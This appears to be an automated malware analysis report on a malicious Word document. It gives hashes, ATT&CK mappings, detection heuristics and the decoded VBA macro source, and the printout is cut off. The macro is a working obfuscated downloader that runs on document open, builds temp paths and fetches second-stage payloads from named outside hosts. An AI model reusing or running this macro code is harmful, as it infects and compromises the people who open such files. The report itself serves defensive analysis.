Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a874ee95a04836f…

MALICIOUS

Office (OLE)

104.0 KB Created: 2015-07-27 20:08:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: fb2f6043b0a54017e7498d2d9d8c184b SHA-1: 83b8530ddfe34c5c6af404cb28b9810984b36348 SHA-256: 4a874ee95a04836fd04b6b160f9c498451b317db40615196c63ab0e022ea895f
390 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1082 System Information Discovery T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. It uses a lure to prompt the user to enable content, which then triggers the Auto_Open macro. This macro, in turn, calls other obfuscated VBA functions that likely download and execute a second-stage payload, as indicated by the critical heuristic 'OLE_VBA_SHELL' and the ClamAV detection 'Doc.Downloader.Generic-6698421-0'. The obfuscated script attempts to construct strings for execution, suggesting a downloader or dropper functionality.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11918 bytes
SHA-256: 0e25485a06e958e23d131ec577e387a7e37a4a397e623a6697b302bea7945090
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

 Sub Mjqwdkklq_Open()
     
End Sub
Sub Ajdqljwd_Open()
     
End Sub
Sub Auto_Open()
    Unjqwkdqwh
End Sub
Sub Unjqwkdqwh()
    BQJDQW = "1j2hejk ghj21ge 21"
    Sqjdklasdsj
End Sub
Sub Giqjwdhqwkjq()
    NBJQJWD = "hje 12"
End Sub
Sub AutoOpen()
    NJQWDQ = "12jhe 12g"
    Unjqwkdqwh
End Sub

Sub Workbook_Open()
    VQDWQ = "1b2hjeg"
    Auto_Open
End Sub
 
Sub Sqjdklasdsj()

    
    Dim fallout As Integer, silkroad As Integer, inclife As Integer
    Dim hnquhdjincinc As Integer
    Dim retVal As Variant, gana As Integer, incturakk As Integer, kaladd As Integer, BWBBNS As String, KOLYHDN As String
    KOLYHDN = Chr(90 + 2)
    
    
    ANGOLA = Ubqhwdhwqbd(13221) + ""
    BWBBNS = Chr(60 + 24) & "emp"
    QHDQUWH = ANGOLA
    FL2 = QHDQUWH
    PH2 = Module2.Goabc(BWBBNS) + KOLYHDN
    
    silkroad = 9
    jwnqdw = -1
    
    BOSNIA = 8719723
    BOSNIA = 1 + 1 + 113 + Sgn(jwnqdw)
    BALAGAN = BOSNIA
    

    JWIDJIAAA = ""
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + Chr(116)
    PSFL = FL2 + Chr(40 + 6) + "ps1"
    
    gana = TRnqjdkqSjsadSS(1 - 300 * Sin(20))
    SSS = Chr(BALAGAN + 2 + gana)
    VBFL = FL2 + Chr(50 - 4) + "v" & Chr(90 + 8) & "" & SSS & ""
    BAFL = FL2 + Chr(TRnqjdkqSjsadSS(Fix(-22.043)) + 31 - 10 + 25 + gana + 2) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(10 + 100 + TRnqjdkqSjsadSS(CInt(Len(BAFL)))) + "dul" & "e"
    AFTG = Chr(109) & KIWD
    
    SXEE = ""
    SXAA = ""
    SXE = SXEE & SXAA & "" & ""
    GNG = ".j" & "pg"
    SXE = ".exe"
    
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "http" + "://"
    BQHJDQ = "s" + "avep" + "ic" & Chr(46) & "s" & "u" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "jb2e j12hej12ge 21"
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    JHQKWDQAASS = BQHJDQ
    
    Dim BALAGANHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "" + "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
   
    
    TSTS = "." + "tx" + "t"
    CDDD = "78672738612836" + TSTS
    LNSS = "f" & "a" & "f" & "a" & "" + TSTS
    STT1 = "solavite.mx/w" + "p-co" + "ntent/the" + "mes/In" + "novationSci" + "ence2/cm" + "s/l" + "ib/js/b" + "ox/"
    STT2 = "cadis.sk/mo" + "dules/mo" + "d_" + "arati" + "clhess/"


    PBIn = ATTH + STT1 + CDDD
    CONT = Module2.Linolium(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module2.Linolium(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
    DJQND = "text"
    NJDSS = "stext"
     
    TVT10 = Port(CONT, DJQND & "10")
    TVT20 = Port(CONT, DJQND & "20")
    TVT21 = Port(CONT, DJQND & "21")
    TVT30 = Port(CONT, DJQND & "30")
    TVT31 = Port(CONT, DJQND & "31")
    XPT1 = Port(CONT, NJDSS & "1")
    XPT2 = Port(CONT, NJDSS & "2")
    XPT3 = Port(CONT, NJDSS & "3")
    
    
    WVR = Module2.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module2.Crispy (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module2.Linolium(MIWDWQ)

... (truncated)

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